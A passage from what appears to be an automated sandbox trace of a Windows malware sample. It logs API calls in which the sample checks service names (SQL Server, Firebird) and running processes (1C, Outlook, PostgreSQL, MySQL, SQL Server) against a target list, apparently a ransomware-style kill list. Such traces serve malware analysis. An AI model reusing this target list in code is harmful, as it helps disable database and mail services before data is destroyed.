lpString2="LanmanWorkstation") returned 1 [0167.844] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0167.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0167.844] lstrlenW (lpString="lmhosts") returned 7 [0167.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0167.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0167.844] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0167.844] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0167.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0167.844] lstrlenW (lpString="MMCSS") returned 5 [0167.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0167.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0167.844] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0167.844] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0167.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0167.844] lstrlenW (lpString="MpsSvc") returned 6 [0167.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0167.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0167.844] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0167.844] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0167.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0167.844] lstrlenW (lpString="Netman") returned 6 [0167.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0167.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0167.844] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0167.844] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0167.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0167.844] lstrlenW (lpString="netprofm") returned 8 [0167.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0167.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0167.845] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0167.845] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0167.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0167.845] lstrlenW (lpString="NlaSvc") returned 6 [0167.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0167.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0167.845] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0167.845] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0167.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0167.845] lstrlenW (lpString="nsi") returned 3 [0167.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0167.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0167.845] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0167.845] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0167.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0167.845] lstrlenW (lpString="PcaSvc") returned 6 [0167.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0167.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0167.845] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0167.845] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0167.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0167.845] lstrlenW (lpString="PlugPlay") returned 8 [0167.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0167.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0167.845] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0167.845] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0167.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0167.845] lstrlenW (lpString="Power") returned 5 [0167.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0167.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0167.845] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0167.845] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0167.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0167.845] lstrlenW (lpString="ProfSvc") returned 7 [0167.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0167.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0167.846] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0167.846] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0167.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0167.846] lstrlenW (lpString="RpcEptMapper") returned 12 [0167.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.846] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0167.846] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0167.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0167.846] lstrlenW (lpString="RpcSs") returned 5 [0167.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0167.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0167.846] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0167.846] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0167.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0167.846] lstrlenW (lpString="SamSs") returned 5 [0167.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0167.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0167.846] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0167.846] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0167.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0167.846] lstrlenW (lpString="Schedule") returned 8 [0167.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0167.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0167.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0167.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0167.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0167.846] lstrlenW (lpString="SENS") returned 4 [0167.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0167.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0167.846] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0167.846] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0167.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0167.846] lstrlenW (lpString="ShellHWDetection") returned 16 [0167.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.847] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0167.847] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0167.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0167.847] lstrlenW (lpString="Spooler") returned 7 [0167.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0167.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0167.847] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0167.847] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0167.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0167.847] lstrlenW (lpString="SysMain") returned 7 [0167.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0167.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0167.847] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0167.847] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0167.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0167.847] lstrlenW (lpString="Themes") returned 6 [0167.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0167.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0167.847] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0167.847] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0167.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0167.847] lstrlenW (lpString="TrkWks") returned 6 [0167.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0167.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0167.847] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0167.847] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0167.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0167.847] lstrlenW (lpString="UxSms") returned 5 [0167.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0167.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0167.847] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0167.847] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0167.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0167.847] lstrlenW (lpString="WdiServiceHost") returned 14 [0167.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0167.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0167.847] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0167.848] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0167.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0167.848] lstrlenW (lpString="WdiSystemHost") returned 13 [0167.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0167.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0167.848] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0167.848] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0167.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0167.848] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0167.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0167.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0167.848] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0167.848] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0167.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0167.848] lstrlenW (lpString="Winmgmt") returned 7 [0167.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0167.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0167.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0167.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0167.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0167.848] lstrlenW (lpString="WPDBusEnum") returned 10 [0167.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0167.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0167.848] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0167.848] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0167.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0167.848] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8630 | out: hHeap=0x570000) returned 1 [0167.848] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0167.851] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.852] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0167.852] lstrlenW (lpString="System") returned 6 [0167.852] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0167.852] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0167.852] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0167.852] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0167.852] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0167.852] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0167.852] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0167.852] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0167.853] lstrlenW (lpString="smss.exe") returned 8 [0167.853] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0167.853] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0167.853] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0167.853] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0167.853] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0167.853] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0167.853] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0167.853] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.853] lstrlenW (lpString="csrss.exe") returned 9 [0167.853] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0167.853] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0167.853] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0167.853] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0167.853] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0167.853] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0167.853] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0167.853] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0167.854] lstrlenW (lpString="wininit.exe") returned 11 [0167.854] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0167.854] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0167.854] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0167.854] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0167.854] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0167.854] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0167.854] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0167.854] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.854] lstrlenW (lpString="csrss.exe") returned 9 [0167.854] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0167.854] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0167.854] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0167.854] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0167.854] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0167.855] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0167.855] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0167.855] lstrlenW (lpString="winlogon.exe") returned 12 [0167.855] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0167.855] lstrlenW (lpString="services.exe") returned 12 [0167.855] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0167.856] lstrlenW (lpString="lsass.exe") returned 9 [0167.856] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0167.856] lstrlenW (lpString="lsm.exe") returned 7 [0167.856] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.863] lstrlenW (lpString="svchost.exe") returned 11 [0167.864] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.864] lstrlenW (lpString="svchost.exe") returned 11 [0167.864] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.864] lstrlenW (lpString="svchost.exe") returned 11 [0167.864] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.865] lstrlenW (lpString="svchost.exe") returned 11 [0167.865] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.865] lstrlenW (lpString="svchost.exe") returned 11 [0167.865] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0167.865] lstrlenW (lpString="audiodg.exe") returned 11 [0167.865] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.866] lstrlenW (lpString="svchost.exe") returned 11 [0167.866] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0167.866] lstrlenW (lpString="explorer.exe") returned 12 [0167.866] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0167.867] lstrlenW (lpString="dwm.exe") returned 7 [0167.867] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.867] lstrlenW (lpString="svchost.exe") returned 11 [0167.867] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0167.867] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0167.867] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0167.868] lstrlenW (lpString="spoolsv.exe") returned 11 [0167.868] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0167.868] lstrlenW (lpString="reader_sl.exe") returned 13 [0167.868] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.868] lstrlenW (lpString="svchost.exe") returned 11 [0167.868] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0167.869] lstrlenW (lpString="taskhost.exe") returned 12 [0167.869] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0167.869] lstrlenW (lpString="dllhost.exe") returned 11 [0167.869] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0167.869] lstrlenW (lpString="taskhost.exe") returned 12 [0167.869] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0167.870] lstrlenW (lpString="dllhost.exe") returned 11 [0167.870] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0167.870] lstrlenW (lpString="dllhost.exe") returned 11 